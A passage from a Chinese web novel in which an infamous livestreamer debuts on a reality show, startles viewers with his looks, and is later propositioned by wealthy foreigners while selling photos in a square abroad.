为野火这个王八蛋做这个冤大头?
张诚自己都咽不下这口气,最后自然不了了之了。
“张诚,盯紧了野火相关话题,评估一下他的商业价值。”
“另外随时准备好通稿,要是他在节目里真出现什么精神失常的行为,要保证和咱们公司没有任何法律责任。”
“老板放心,我明白的。”
崔老板和张诚说话的功夫,直播间内也纷纷在刷着倒计时。
“十、九、八、七......三、二、一!”
《近距离》开播了。
......
21. 第 21 章
直播间内的倒计时刚刚归零,霎时便有无数弹幕疯狂喷涌而出。
【“第一!!!”】
【“激动,终于要开始了,要开始了。”】
【“呜呜呜,等了这么久,这该死的让我食不知味,辗转反侧的节目终于开播了!!”】
【“桑桑!!!啊啊啊,桑桑!!!”】
【“啊啊啊,为了桑桑而来~~~~”】
【“少废话,快把我们敖哥赶紧放出来!”】
【“戚敖,戚敖,放开我(来回打滚),我要见敖哥!!!”】
【“......”】
依旧是香蕉台最令人熟悉的温柔画外音——
“亲爱的观众朋友们,晚上好,欢迎您收看《我和X明星的近距离接触》大型户外综艺直播节目。”
“我们邀请的嘉宾朋友们,已经顺利到达了机场,谁会是你想见的人呢?”
“现在请跟随镜头一起去看看吧。”
话音刚落,出现在直播间的画面便是圣西都机场的外景。
早在节目开播前,节目组就早早的同机场方面协调沟通,顺利达成合作,机场内不仅有安保人员协调配合,甚至直接就在出了机场不远处一个露天的楼梯间铺了红毯,还在栏杆四周用花带缠了一圈。
直播间的观众显然也注意到了这个与众不同的场景,无数的弹幕飞快的闪过——
【“不是吧,不是吧,不会是要在这搞个“红毯秀”吧?!”】
【“哈哈哈,果然还是光头导的风格,主打一个‘只要我不尴尬,尴尬的就是别人’。”】
【“异国他乡还有不认识的人围观......救命,光是想想我都要脚趾抠地了。”】
【“别管那个“草台班子”了,快,有没有姐妹告诉我谁第一个出场啊?!!”】
【“不知道,在网上前前后后都留言问了好几遍,可这节目组就是不说啊。”】
最会吊胃口,折磨人好奇心的王导,就连嘉宾的出场顺序都愣是没透出来一点风——不知道下一个出场的是谁,观众就会格外认真的注意每一个出场的嘉宾,毕竟谁都想第一时间欢迎自己喜欢的明星。
就在直播间内为着第一个会出场的是桑醒还是戚敖,争执着开始撕巴起来的时候,第一个嘉宾出场了。
【“快看,有人过来了!”】
【“来了,来了,我准备好录屏了!”】
圣西都的机场外还挂着一个有些中世纪风格的大钟表盘,这会儿还十分应景的有一圈扑腾着翅膀的白鸽盘旋飞起,不远处的街道旁车水马龙,周围是提着行李箱神色匆匆的行人不停穿梭......直到镜头前清晰的出现了一张脸,霎时间周遭为之一静,连喧嚣的风声都停了。
尽管宋枝月在理发店内选的是最便宜的套餐,也说了随便染染就行......但理发店的小姐姐最后到底没舍得随便糟蹋他的头发。
在宋枝月给自己的选了偏爱的蓝色后,小姐姐一遍遍很是细心的挑了颜色发卡对比,选了贴合他冷白肤的雾蓝色。
不光是发色,就连今日出镜的穿搭,宋枝月都选择了同色系,很是高调的蓝白相间印花衬衫,脖子上还骚包的系着条浅色丝巾。
大概是物极必反的原因吧。
遮遮掩掩,藏藏躲躲这么久,憋得自己“发疯”的宋枝月,第一次这么光明正大的摘下口罩,直面镜头的时候,却压根就没有自己想象中的那么害怕和畏惧。
相反,不用考虑操持个什么别扭人设,不用担忧在镜头前讨不讨喜......
已经做好同所有隔着山山海海“热心肠”网友对抗准备、自知情况已经没法再坏,烂到底的宋枝月,甚至有一种说不出的轻松自由和雀跃激动。
他就这么站在台阶上,自高处往下看着镜头一笑,原本与周围格格不入的浮夸“红毯秀”画面,像是“腾”的一瞬从现实抽离出来。
在亲眼见过宋枝月后,王导立即取消了所有蹩脚的搭讪剧本,撤销了所有莫名其妙的尬黑对话,毫不犹豫的选择用最直接,最直白,也是最有力的镜头语言,将宋枝月送到了世人面前,同这个世界打了个招呼。
至于效果么......看原本弹幕跳的人眼睛发麻的直播间内,忽然出现一片真空似的安静就知道了。
直到宋枝月从铺着红毯的台阶上一步步的走下来,整个直播间才像是忽然活了过来。
【“@&Y^*T&V”】
【“……R^PY*)G”】
好几行乱码滚过的弹幕后,是无数五颜六色,花花绿绿的弹幕喷了出来。
【“啊啊啊啊啊啊啊!!!!”】
【“啊啊啊!!!!”】
【“啊!!!!!”】
【“啊啊啊啊!!!!!”】
【“这是谁???”】
【“呜呜呜,天菩萨王导到底从哪里找来的宝贝啊啊啊啊!!!!”】
拍摄现场,面前是扛着摄像机的摄像组工作人员,周围是环绕追踪“飞猫”无人机拍摄器,在那条火辣又作死到炸裂赛道上一直进行直播的宋枝月,那是一点都不怵镜头。
“大家好,我是宋枝月。”
坦然注视着镜头,宋枝月按着节目组之前交代的流程,进行了一番简易的自我介绍。
“......是一名绿江直播平台的主播,网名叫做“歘日野火你大哥”,很荣幸作为“素人嘉宾”受邀参加《近距离》的拍摄,希望能给大家带来更多的惊喜。”
【“他是......”】
【“他,他,他刚刚说他是谁?”】
【“我,我没听错的话,他说,他说他是搞直播的那个,那个野火......那个野火???!!!”】
【“什么野火,野火那个狗贼在哪呢?”】
【“他是野火?!啊???他怎么能是野火!?他是谁,他绝对不是野火,他@E@%¥%。”】
【“卧槽!!!!!”】
【“(痛心疾首)(仰头长啸)你**的到底是怎么想不开要做这个
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主播的?”】
【“啊,野火是谁啊?这个小哥哥之前是搞直播的吗?”
【“直播间在哪啊,我之前怎么没在网上发现过他???”】
【“啊啊啊,我是错过了什么宝藏???不应该啊,大数据忘了他了?”】
在直播间内翻来覆去吵得沸沸扬扬的时候,不远处导演组的房车也没安静到哪去。
杨副导在现场看着,王导则是在车内盯着所有的拍摄分屏。
而因着第一次直播综艺拍摄,选择一同到拍摄现场坐镇的冯制片和陈总筹,这会儿都恨不能揪住王导的衣领,使劲摇晃他了。
“老王,你说,你是不是之前早就见过这小子了?“
“是不是?!”
种种惊讶惊喜混杂着莫名激动兴奋,一时脸色都有些胀红的陈帆远咬着牙的笑:“肯定是!”
“不然他老王还能忍住不拿那个“臭嘴”的名气先开刀?”
冯顺水一下又是点头,一下又是摇头,同样笑着直咬牙。
“呀呵,好你个老王,跟我们来这手?”
笑的嘴都合不拢的王导只一个劲儿的摸着自己的光头。
谁能懂这种苦苦压抑着憋着要搞个大的劲儿,无数夜里翻来翻去设想的场景真的出现在现实里的感受?
真踏马的就一个字——爽!!!!
所有人堪称疯狂的热情,像大火似得到处蔓延之际,鑫诚直播公司内,坐在办公室围观这综艺“名场面”的众人,却是陷入堪称死一般的寂静里。
张诚眼睛眨都不眨,只是仰着头,直勾勾盯着屏幕里的宋枝月,脸上是混杂着莫名其妙和不真实到有些像做梦一样的茫然。
不是,他那个神情猥琐,鬼鬼祟祟,嘴臭刻薄,因着长得丑,不管春夏秋冬,一年四季都裹得严实的像是“神经病”的野火去哪了?
他人呢?
这这,这个直播间里的这是谁?
“他说他是野火......”张诚指着屏幕上的宋枝月,来回扭头对着四周看过来的人,哈哈笑着道:“你们听到了没?哈哈哈,他说他是野火?”
“我还能不知道野火这瘪犊子长什么样?”
“他能是野火?”
“哈哈哈......哈哈哈。”
笑着笑着,张诚的嘴角却一直在不自觉的向下,眼里呼呼的闪着泪花,连说话都带上了颤抖的哭音。
“我**的这个挨千刀的王八犊子!”
“这个,这个畜生啊!!!”
“他就那么睁着眼,眼巴巴的看着我,说他被砸了脑袋得了病......呜呜呜,明明砸了脑袋的应该是我才对吧。”
而整个人脸色爆红间,“噌”的一下站起来的崔老板抖着手指着张诚,却已经骂不出什么话了。
他捂住心口,一口气没吸上来,两眼一翻,直挺挺的倒了下去。
“啊!老板!”
“老板!!!“
“快叫救护车!!!”
......
22. 第 22 章
因着《近距离》这档综艺节目早早大规模的预热,直播间内看热闹和蹲守着准备第一时间“截屏”的人不在少数。
事实证明,人的本质就是“复读机。
这不,前不久网上惊现“月色哥”时堪称病毒式“人传人”现象又再度出现了,而且这次的规模更加疯狂和庞大。
直播间内宋枝月前前后后出场还没一分钟的视频,以势如破竹的速度成了网络爆款“切片”成功霸榜,紧接着,快音、意站、微圈、盆友圈也相继沦陷。
《近距离》综艺直播间的在线人数迎来暴涨,实时收视率一路飙升,甚至直播画面一度出现了卡顿。
而节目组冷不丁甩出宋枝月这张“王炸”,轰的一声在开场给所有人来了个大的后,又没了动静。
直播间中继宋枝月之后出现的是另外一名“素人嘉宾”。
毕竟这档综艺节目就叫《我和X明星的近距离接触》,自然有明星也有素人。
而且还配对人数不均,搞事似的只弄了三个“素人”,倒是明星足有五位。
当然,所谓的素人这话听听就行了。
无数人盯着这档节目,暗地里都要挤破头争抢资源了,怎么会真的让一个无关紧要的“素人”就这么吃下这波泼天的热度和流量?
占着“素人位”来玩一玩的枚少阳没人敢招惹。
而“野火”这个钦点乐子人的位置,他们也动不了。
第三个“素人位”就成了争夺的焦点,最后被国内顶级娱乐公司ART悍然拿下,准备为推出下一代“青春顶流”造势——
“大家好,我是于澄鹤。”
出现在镜头里的是个青春洋溢,笑容大方,五官精致,很有明星相的男孩。
“今年十九岁,大家也可以直接叫我鹤鹤或者Barry,很高兴能被邀请来参加节目......”
公司肯花这么大功夫推出来的人,颜值自然很是能打。
于澄鹤穿的也很清爽,白衬衫黑长裤,看着就和校园偶像剧里那些会让无数女生心动的“男神白月光”走出来了一样。
底下的宋枝月抱着胸,看上去对于澄鹤一幅浑不在意的模样,实则心里已经在“嗖嗖”的疯狂泛酸水了——瞧瞧吧,这可不又是一个靠脸吃饭的“挂逼”!
贼老天是真他娘的不公平,这偏心眼都偏到咯吱窝里去了。
能让踏遍内娱“蹭热度”的宋枝月都这么悻悻然发酸的于澄鹤自然不差。
他选择在“野火”这个骂名满天飞的“捡剩饭野狗”后登场,更是一点毛病没有,甚至还会因着强烈反差,狠狠吸一波颜值粉。
但是吧......此刻直播间内五颜六色的弹幕,显然很有些心不在焉。
【“王导!你到底会不会拍综艺?抓流量蹭爆点这事(指指点点)还要我教你吗?把镜头切过去!!!!”】
【“呜呜呜,我错过了什么?我错过了谁的出场?(疯狂跺脚)老天爷啊,给孩儿一个机会吧,就那么47秒的视频够谁看啊。”】
【“都听我的,让我们一起喊话——把“月色哥”交出来!”】
【“野火,网上视频里的那个嘉宾真是野火吗?摸着消息来的(抓心挠肝)家人们,到底是不是啊?”】
作为第三位素人嘉宾的枚少阳因着有事暂且没到M国,直到其他明星出场时,完全偏移到宋枝月身上的话题才移了些回来。
观众因着主镜头的固定没得选。
身处现场的于澄鹤,压根就顾不上前不久因着古偶剧《明月珏》大爆的“花旦”林盈盈,心思全都放在身旁的人身上。
要说顶级的娱乐公司里会有多少的俊男靓女?
答案是,数不清。
放眼望去,无数俊男靓女保准看的你眼花缭乱。
可宋枝月是不同的。
他就像神明同世人开的玩笑——
觉得这人间少了丝颜色,缺了些热闹的祗垂怜般吻了吻荒原里那团灼人眼的野火。
让人想挨近,却又有些踌躇。
毕竟对着“老天爷赏饭吃”这一派人,那是酸溜溜间嫉妒心格外旺盛的宋枝月,很有刻薄小人、反派嘴脸的自觉。
别说打招呼了,他那是理都不理一边的于澄鹤,只自顾自抱着胸,昂着头,一心一意看着从“红毯上”下来的“星月女神”林盈盈。
因着完全不是一个赛道,宋枝月一直没“蹭”过内娱女明星的热度。
而且说实话,长这么大,宋枝月还是第一次接触这个级别活生生的女明星。
甭管他在做着那些不切实际的白日梦时有多大胆,现实里,真看到这般明艳动人的女神时......有些自卑真就像缠在心头若隐若现的荆棘一样。
宋枝月甚至连大大方方同林盈盈打个招呼都做不到。
于是他只能硬挺着那副“目中无人”的姿态,抱着胸,一副注意力全都在“红毯秀”上的模样。
要想不注意宋枝月,真的,真的,真的很难。
特意避开镜头的林盈盈,一面笑容得体的看着“红毯秀”,一面遮着手机盲打,疯狂联系起了经纪人张姐问起了宋枝月的来历。
很快,张姐就回了消息。
消息很简单,重要的信息只有一点——
“野火”和鑫诚的直播合约已经到期了,到现在也还没有续约。
林盈盈所在的公司,高层现在正在进行紧急商议,讨论该拿出什么样的条件直接签下他。
从宋枝月在这档热度爆炸节目里露脸的那一刻开始,所谓的“防爆”手段已经防不住他了。
而鑫诚那个破公司的小体格,能挡得住盯着宋枝月眼睛都已经开始发绿的“大鳄”们?
就这么会儿的功夫,公司合约连带人全都被盘的一清二楚。
满脑子新“紫微星”就要出现的林盈盈收起了手机,心不在焉的看着后续接连出场的“综艺老大哥”陈易北、“顶流只差一步”周晟。
而既会吊人胃口,又很讲究人情世故的王导,最后给期待已久的观众来个了“Double惊喜”——桑醒和戚敖是一同出场的。
两个人的身高就差了两公分,甚至发型改一改后都看不出太明显的差距,于是这般“势均力敌''的登场,第一时间就引发了全场的尖叫和弹幕的狂欢。
看看左边的桑醒,那是骨秀神清,松月潇潇的禁欲迷人,再看看右边的戚敖,实在是个性张扬,荷尔蒙爆棚的性感惑人。
左右左右,左右左右,来来回回哪个都舍不得少看一眼,看的人只恨不能将两个眼睛分开,各看各看的。
“双子大爆星”登场引发的高潮里,导播很灵性的切换了一下镜头。
于是在一众鼓掌笑着或者欢呼的嘉宾里,就这么翻着白眼,冷哼不屑的宋某人当真就十分的显眼了。
弹幕瞬时就炸了。
毕竟桑醒和戚敖成名这么多年积累下来的粉丝不是盖的......这也是这个综艺节目邀请野火这个臭嘴主播的“祭天”的本意。
弹幕会声讨激烈“问候”宋枝月是意料之中的事,但也不是设想中一边倒的“疯狂爆锤”。
有相当一部分追着宋枝月直播的“黑粉”经不住“美色所惑”,瞬间倒戈相向替他说话,也有明星黑粉混在里面“批皮”捣乱。
【“哇,真是活久见,当场翻白眼这也太没礼貌了吧?”】
【“野火这是真实,又不是谁都喜欢这些明星的。”】
【“笑死,现在的人都是什么素质?真就三观跟着五官跑,拿着没礼貌吹真实?”】
【“就不能是野火的眼睛不舒服?不然怎么镜头忽然就正好切到了他?王光头搞事的风格你们又不是不清楚。”】
【“洗地狗少在这恶心人了!野火那个狗逼蹭热度的时候,说的那些话甚至还有给人起的那些外号都还能找着视频呢,真就网络没记忆是吧?”】
【“哦~野火说什么了,给谁起的外号?”】
【“......”】
【“前面的别怂啊,大声说出来!”】
.......
紫色、金色和其他五颜六色的弹幕大战的十分热闹,直播现场也很是热闹。
嘉宾们相互打着招呼的时候,“翻着白眼”的宋枝月慢了一步。
当然,他也不急,反正剧本里他只要态度很是“上赶”着去和这两个重量级的明星握手就行了。
但“礼貌人”桑醒和戚敖,几乎是嘴上说着你好的时候,同一时间朝着宋枝月伸出了手。
宋枝月:......
意外来的猝不及防,他一时之间甚至都不知道该去握谁的手。
而桑醒、戚敖和宋枝月本来就是焦点所在,这个意外一出,现场所有的镜头顿时全都聚集在了过来。
而镜头后,目不转睛注视着这一幕的王导更是呜呜嘿嘿笑着抓住了裤腿——果然,设计的再好的“名场面”,也比不过老天爷亲自给的剧本啊。
连直播间内撕的风风火火,腥风血雨的弹幕都安静了下来。
只有颜色很是另类的黄色弹幕,意味不明的闪过。
【“嘿嘿嘿......”】
【“哈哈哈......”】
【“嘘~(口哨声)”】
【“咳咳(清清嗓)野火骂人的时候可带劲了,特别是骂这两位的时候,又是“虚王”又是“暴力狂”,你说他......嘿嘿嘿。”】
当然,这种管他黑的白的,统统都变成“诶嘿嘿”荤素不忌的“邪教”冒头没多久,就被正规军给按死了。
【“抱走桑哥,不要脸的野狗,滚!”】
【“抱走戚哥,小人退散,少来沾边!”】
【“......”】
宋枝月记得剧本里说的是他得“热情”的先去握桑醒的手。
但是吧,瞅着戚敖耳边黑蛇缠绕样的耳环和极有压迫性的身材,他略微有些发憷。
而现实里直面同样身材高挑的桑醒那含笑又有些冷的
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目光,给人起了个“虚王”名头的宋枝月心里也慌。
左右为难之际,宋枝月急中生智,眨眼间就一左一右握住了桑醒和戚敖的手,十分热情洋溢的打着招呼。
“哈哈哈,两位老师好,两位老师好。”
“我是两位老师的粉丝。”做出“惊人之举”的宋枝月睁眼说瞎话。
“之前早就听说两位老师的大名了,没想到今天真的能见到真人了......”
打了招呼,桑醒面不改色礼貌笑着松开了宋枝月,戚敖笑笑也慢悠悠的收回了手。
这个小插曲像是自然而然的过去了,画外音继续插了进来——
“感谢各位老师带来了精彩的“红毯秀”。”
“因为其他原因,我们最后一位“素人嘉宾”木先生很遗憾缺席了今晚的节目录制,明天才能加入我们的行程。”
“现在天色也不早了,马上开启我们今晚最后的项目——寻找并前往“水上花园”进行住宿休息。”
“节目组准备了道具供大家选择,大家需要通过这些道具,自行解决前往“水上花园”所需要的交通费。”
“大家通过抽色彩球进行组队,相同颜色的为一组。”
“因为目前场上有七位嘉宾,所以第1组和第2组各有两位嘉宾,第3组有三位嘉宾。”
“另外,直播间的观众朋友们请注意,现在你们可以通过签到小红花,投票决定“主要摄影镜头”。”
“五分钟后进行统计。”
“得到小红花最多的队伍,会有摄影组的工作人员进行拍摄。”
“其他的队伍则是通过“飞猫”无人机进行追踪拍摄,每二十分钟根据小红花的数量切换镜头。”
“现在请为你心仪的队伍,投出爱的小红花吧。”
抽球组队结束的很快,第1组是宋枝月和陈易北,第2组是林盈盈和周晟,第3组则是桑醒、戚敖和于澄鹤。
对这个组队结果,宋枝月挺满意的。
陈易北今年四十多岁,是名副其实的“综艺老大哥”,和王导合作过几次,这次也是王导特意请来保证“节目效果”的人。
他和宋枝月“蹭流量”的路子并不挨着。
宋枝月不仅没嘴过陈易北,相反还很喜欢看他参演的综艺节目,这也算线下追星了。
至于五分钟里观众们的投票结果......那还用说?
“飞猫”拍摄器很快就跟在了宋枝月和陈易北的身后。
走过去看着车里的道具不到三秒钟,陈易北的目光就转向了宋枝月。
他开口时还磕绊了一下:“宋......”
“宋枝月,陈老师你叫我小宋或者直接叫我网名“野火”就行。”
陈易北看着这会儿冲他直笑的宋枝月......
啧啧啧,这孩子这模样,嘿,生的是他娘的真俊呐。
难怪来之前老王就抓着他的手,千叮咛万嘱咐,让他一定照顾照顾人。
“一起录节目就是缘分,你也甭叫我什么老师了,叫我陈哥或者北哥都行。”
都是在网上“靠嘴”吃饭的人,两个碎嘴子凑在一块,那真是相见恨晚。
反正需要做节目效果的人都不在,观众也都去看桑醒和戚敖了,谁会注意到他啊?
这么想着的宋枝月摆烂摆的很是愉快,同陈易北勾肩搭背,聊的很是火热。
还是导播催促了起来,意犹未尽的两人才重新看向满车的道具。
宋枝月笑嘻嘻,满眼期待的看着陈易北,“林哥?”
陈易北也乐呵呵的看着宋枝月:“野火?”
看着对方都是“满脸你来”的期待......原本还嘻嘻的两人慢慢就不嘻嘻了。
好么,确认过眼神,两人都是纯纯的才艺“废物”,靠嘴整活,那也得异国他乡的这群外国人听的懂才行啊。
两人就这么对着道具“恨”了一会儿,宋枝月抓耳挠腮之际,陈易北忽然有了动作。
他先是上前取了一个喇叭,随后又扒拉了一块破纸板,就带着这么两样简单到令人摸不清头脑的道具,一脸嘿嘿的看着宋枝月。
“野火啊,辛苦你了,哥是吃香的还是喝辣的,就看你的了。”
宋枝月:???
他愣了一下,看看陈易北左手捏着喇叭,右手拉着破纸板,眨眨眼:“哥,咱们不会是要去......要饭吧?”
“瞧你这孩子说的什么糊涂话?”
“那不白瞎咱生的这模样,成了抱着金饭碗讨饭吃吗?”
陈易北一脸牙疼的盯着宋枝月。
这孩子就顶着这么一副让人稀罕的不行的模样搁那乞讨像话吗?
“走走走,快跟哥走。”
瞅着宋枝月的陈易北,一脸世界尽在掌握的得意:“咱们肯定比他们先攒够去“水上花园”的路费。”
“综艺小白”宋枝月就这么略有些茫然的跟在了哼着小曲的陈易北身后。
......
23. 第 23 章
“嗡嗡——”
随着直升机缓缓临近,映在落日余晖中披着浅金色涂层的庄园也逐渐变得清晰了起来,巨大恢弘的庄园内,极具对称美的四面环绕列柱廊庭院是最中心主建筑。
早早等在庄园内停机坪的是个年轻又很是英俊的青年。
他穿的清凉也不是很讲究,就简单的灰白T恤,脚下还踩着双人字拖,笑着朝走下飞机的几人招招手。
“知道你们要来,就提前请了人过来热闹。”秦正春上前朝周祁玉等人打了个招呼。
瞧着平时最闹腾的崔啸兴致都不怎么高,尤其是落在后头卷着衣袖,拎着衣裳搭在肩上的高少爷神情有些恹恹的,秦正春拿肩膀推了推王砷:“诶,怎么了这是?”
一脸的假正经的王砷拉了拉衣袖,随后又凑近秦正春,嘀咕道:“王子还能靠着灰姑娘落下的水晶鞋找到她的踪迹呢,这几位主偏偏拿着照片都找不到人,心里正冒火呢。”
秦正春一听这话,脸上顿时露出点带着惊奇的八卦笑意。
“有意思,嘿,还能有你们惦记却找不到的人,快,拿出来瞧瞧,我看看到底是个什么天仙。”
这般吊起人胃口的王砷去却不见其他举动,只是摇头叹气,勾起好奇心的秦正春一边缠着人嘀咕,一边往主楼区行去。
这岛屿挺大,即便直升机是在最近的停机坪上落下,可沿着棕椰树的白橡花墙,一行人走了大概十分钟才到泳池边。
四周造型各异的灯早已经亮了起来,有晚风落下,可院内生的风情各异,高挑明艳,穿着清凉比基尼泳装的各色美人却好像半点都不觉得冷,她们精心呵护保养的细嫩柔白肌肤裸露着,姣好的身姿沾着水珠,风铃似的笑声听得很是清楚。
而一路行来,愣是没能从王砷嘴里撬出其他消息的秦正春,从一脸八卦的好奇转为不屑摇摇头。
“就知道你小子编了瞎话拿我寻开心呢,瞧着斯文人似的,嘴里半句实话都没有。”
王砷不吃这激将法。
他瞧了眼秦正春一眼,抱着胸只是笑,一脸的你爱信不信。
秦正春哼了一声,扭头朝着泳池边就走了过去。
刚走近,就见负责招呼今晚party的方齐半跪在一侧,脸上沾着的水都没擦,只弯着腰,陪着笑脸同泳池中的青年说着什么。
“岑哥。”
池中的青年侧身看了过来,他的额角顺着眼尾处有一块铜钱大小,沾着胭脂红似的疤痕。
这般原本本该破了皮囊的狰狞伤痕却无损他的容貌,那点晕红让他桀骜的戾气都像是温柔了几分的错觉。
看着秦正春身后的人,岑楼撩了撩泳池里的水花权当打招呼了,眼见高少爷对这满园各国风情的美人压根就提不起劲的神情,他笑着甩了甩头发上的水珠。
“招呼不周是我的错。”
“这些玩意儿没什么意思,你瞧不上眼就早点休息,明天我陪你去□□玩两把,输多少都算我的。”
岑楼和高曜说这几句话的功夫,半跪在泳池边的方齐没起身,只一直赔着笑,一句多余的话都没敢解释。
倒是秦正春笑着凑过去,一脸的八卦:“岑哥,咱们高少爷这是没找着“灰姑娘”,心里不大痛快呢。”
就高曜的身份,要什么样的人没有?
见秦正春和王砷两个人又“打着眉眼官司”,岑楼只当是这两人又斗嘴说的什么冷笑话,便也没多问。
不想刚过了一阵,却见已经上楼的高曜忽而匆匆的从楼上下来,
“岑哥,让你的人开直升机,我现在要去圣西都。”
原本周身恹恹的高曜此刻竟是唇角高扬,眼里发亮的带着势在必得的张扬兴奋和狠劲儿。
不用说,这两位显然都是泡在富贵销金窝里什么玩意儿都尝过鲜,什么刺激都试过的主了。
眼见高曜这般兴奋劲儿,原本觉得今晚上很无聊的岑楼霎时来了精神,他从躺椅上翻身坐起,拿起手机打了个电话吩咐了一声。
等挂了电话,岑楼才看向了高曜,笑道:“这个时候去圣西都做什么?”
高曜目光沉沉,噙着点咬牙切齿的笑意:“找人!”
“找人?”
“岑哥!”
从楼上跑下来的秦正春一脸兴奋的扑过来。
他将一个亮白色外壳的iPad送到了岑楼的面前,眼神发亮的哈哈笑道:“我说什么来着,可不就是找“灰姑娘”来着?”
前前后后这几下,那是真将岑楼的好奇心也给勾了起来。
他伸手接过了iPad,还没看等他看清画面,就先听见了里头带着口音略显滑稽的吆喝声——
“Takephone,twodollar~~~”
“twodollar~~~”
“twodollar~~~”
“......”
许是喇叭就挂在收音设备附近的原因,整个直播间里只有这一个声音。
这自带神奇口音的洗脑魔音,听得岑楼挑了挑眉,待顺着声音便看清了画面里的地方——M国,圣西都,西洛广场。
“当——”
广场上标志性建筑的那座钟楼响了。
钟楼不远处靠近花园的小圆台最上面立着个纸板,纸板的一面用加粗马克笔和荧光笔反复描出了一行清晰的单词。
“Takephone,twodollar。”
这会儿的画面都是无人机拍摄的,因着很是平稳的固定在一个地方,所以画面很是清晰。
它清晰的印出站在圆台下的人影——
黄昏余晖下,正值昼夜交替之际,那个站在圆台下的人穿着身很是色彩鲜明的蓝白印花衬衫,又很是浮夸在唇间咬着一束玫瑰,若是猛然街头遇见这样的人,指不定会当成是哪个浪荡子猎艳寻芳。
可镜头下,微微抬眸正静静看着天边日月的交替的“浪荡子”不像寻芳,更像是被寻觅的那某姝色。
他生的冷白,嘴边叼着玫瑰,倒衬得那点红显得惊心动魄的艳。
许是镜头隔了一层的缘故,他周身都透着疏离感,更像月亮落下的一抹亮光。
但这抹本该抓不住,求不得,可望而不及的月色,却因着头顶那滑稽的“twodollar”贴上了廉价的标签,让隔着千山万水的人陡然间恶欲横生——好像谁都可以伸伸手就亵渎、搅碎、揉烂这抹亮光。
小圆台下已经一圈圈的围了一层又一层的人。
人群里更是喧嚣声不断,但却迟迟没有人上前合照。
甚至连本该吆喝收钱合照的陈易北,都只是有些呆呆的站在一旁,和其他人一起微微仰头看着那道人影。
一直叫着“野火,野火”叫着的陈易北,这一刻却清晰的记得野火的名字——宋枝月。
明月别枝惊鹊,清风半夜鸣蝉。
当真是眼见“明月别枝”时心头“惊鹊”般的悸动了。
到底是综艺节目,为了保证收视率,自然是观众爱看什么放什么,导播跟着的主镜头是登陆直播间时默认播放画面。
而其他嘉宾的画面只能手动选择,在右上角的小框内播放,因着无人机追踪拍摄的原因,还存在拍摄不稳、暂时失去拍摄目标,收音等一系列的问题。
要想清楚地看到嘉宾,可以啊,去拉人投票吧,只要票数多,主镜头就会切换到你心仪的嘉宾。
与现实里离着宋枝月近在咫尺之间却还算平静的人群不同,直播间内的弹幕已经“刷刷”的近乎要炸开了。
像是指头一直按在键盘上没移开过一般,疯了一般的“啊啊啊啊”铺天盖地的席卷画面。
所有关于“野火”的争议,所有的撕扯和争吵,在这一刻都变成了同一种心境——
【“呜呜呜,王八蛋光头不做人,现在就搞什么对立和投票啊,我都想看。”】
【“我已经打开了电视、手机,平板、电脑......唯一的遗憾是,我只有两只眼睛,斜眼分开都不行,没法三个人一起看。”】
【“求求了,野火只有这档综艺才露脸,跪求大家都给他投一票好不好?这种小窗实在不行啊。”】
【“我已经出发去西都广场了,我要去合照!!!!!”】
【“我也是!!!!”】
【“还有我,还有我。”】
【“谁知道这综艺的拍摄地点是不是固定的?我已经买好机票,一个小时后就飞往M国了。”】
......
广场上,专门寻了地方,凹了半天造型的宋枝月,颇为头疼的看着眼前乌泱泱一大群的外国人。
果然,甭管在哪,“看戏”和凑热闹都是人的天性。
这不,这些人不是捂着嘴跳脚,就是在那神情激动间叽里咕噜的不知道说着什么玩意儿。
凑热闹的不少,肯花钱的“冤大头”却连一个都没有。
听着一声声魔性又闹心“twodollar”的吆喝,宋枝月伸手取下了唇间咬着的玫瑰,看向了身旁的陈易北。
“北哥,我就说这法子不太行......路费五十美元就是二十五个人掏钱,外国人也不是缺心眼的冤大头,谁会愿意花钱和我合影啊?咱们还是趁早收拾收拾换个......”
不想他的话都没说完,却见聚拢的人群被强行分开了——存在感很强的一些人挤了过来。
这些外国人在宋枝月的眼里都长得近乎一个样,好区分的也就眼睛和发色。
但该说不说,除了外貌,人和人之间透出的气质
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却是天差地别。
比如有钱人那股子嬉笑怒骂随心所欲,又不大将旁人放在眼里的狗德行,简称......“钱狗德”。
这会儿来到身前的这个绿眼睛,那个原生的金头发......浑身上下就带着点这种“高人一等,无所顾忌”的钱狗德气质。
站在最前面的绿眼睛年纪看着不算大,但却比陈易北还高一个头,他指着宋枝月,笑着问一句:“Howmuch?”
这一句倒是真不难听懂。
叫那魔音洗脑的陈易北下意识伸手比划了两根手指。
“two......”
结果美元的单词还没说出口,绿眼睛的同伴金头发从皮夹里头取出了厚厚一叠绿油油的钞票就要塞到陈易北的手上。
“No,No,No.”
冷不丁叫这举动吓了一跳的陈易北连连摇着头。
他摆着手不接,嘴里还道:“It,It......Toomany(太多了)。”
另一个一直没说话的青年开口了。
他生的高却有些瘦,脸上还有小雀斑,笑起来甚至还有点天真的可爱气。
他很认真的对陈易北道:“Heisreallyworththisprice.”
“Pleasetellhim——Ididnotgetyellowfever......ButHeisascuteasanangel......”(请告诉他,我没有得“黄热病”,但他可爱的像一个天使......)
???
早早的就将学校里的东西都“还给”老师的陈易北和宋枝月对视一眼,显然都没太懂什么意思。
看出了宋枝月和陈易北的困惑,小雀斑想了想,拿出手机鼓捣了一下,随后又是叽里咕噜说了一长串话后,就翻译成了中文——
“甜心,你值这个价,不,我们可以给你更多,你今晚上可以陪我们三个人一起度过一个甜蜜的夜晚吗?”
你听听,这机翻出来的话还真是怪有礼貌的咧。
礼貌到宋枝月脸色“刷”的黑了。
他竖起中指朝着“礼貌问价”的几人做了个国际通用的手势,还附带一句:“F**k!”
绿眼睛不笑了,金毛和小雀斑还是笑着的。
只小雀斑笑的实在很有攻击性,他伸手解着原本紧紧扣着的衣领,机器还在很礼貌的道:“很高兴我们能达成共识。”
“亲爱的,今晚上,我们将会有一晚上的时间,一起度过一段美好又难忘的时光。”
“当然,我会试着教你怎么学的更礼貌些。”
“......”
直播中总是会出现各种各样的问题,这是所有人都有心理准备的。
但离奇滑稽到这个份上,显然出乎所有人的意料。
陈易北急得直冒汗,还在试图解释是在录节目,可显然没人听他的。
他连忙掏出手机就要联系节目组,花园另一头跟着的工作人员也意识到了不对,连忙就要过来帮忙。
可无奈这个地方,这会儿挤在一起的人实在太多了。
甚至盯上宋枝月的,已经不光是这三个明晃晃问价的老外了。
许是异国他乡人生地不熟,格外让人没有安全感,又或者说这些外国人因着眉眼深邃或是身材高大的原因......宋枝月只觉得他们盯着他的眼神格外的富有攻击性,会让人身上不由自主一阵阵直冒鸡皮疙瘩的那种。
那个挂在最上面,倒霉催的破喇叭这会儿还在一遍遍循环播放着那句“twodollar”——多么廉价的诱惑。
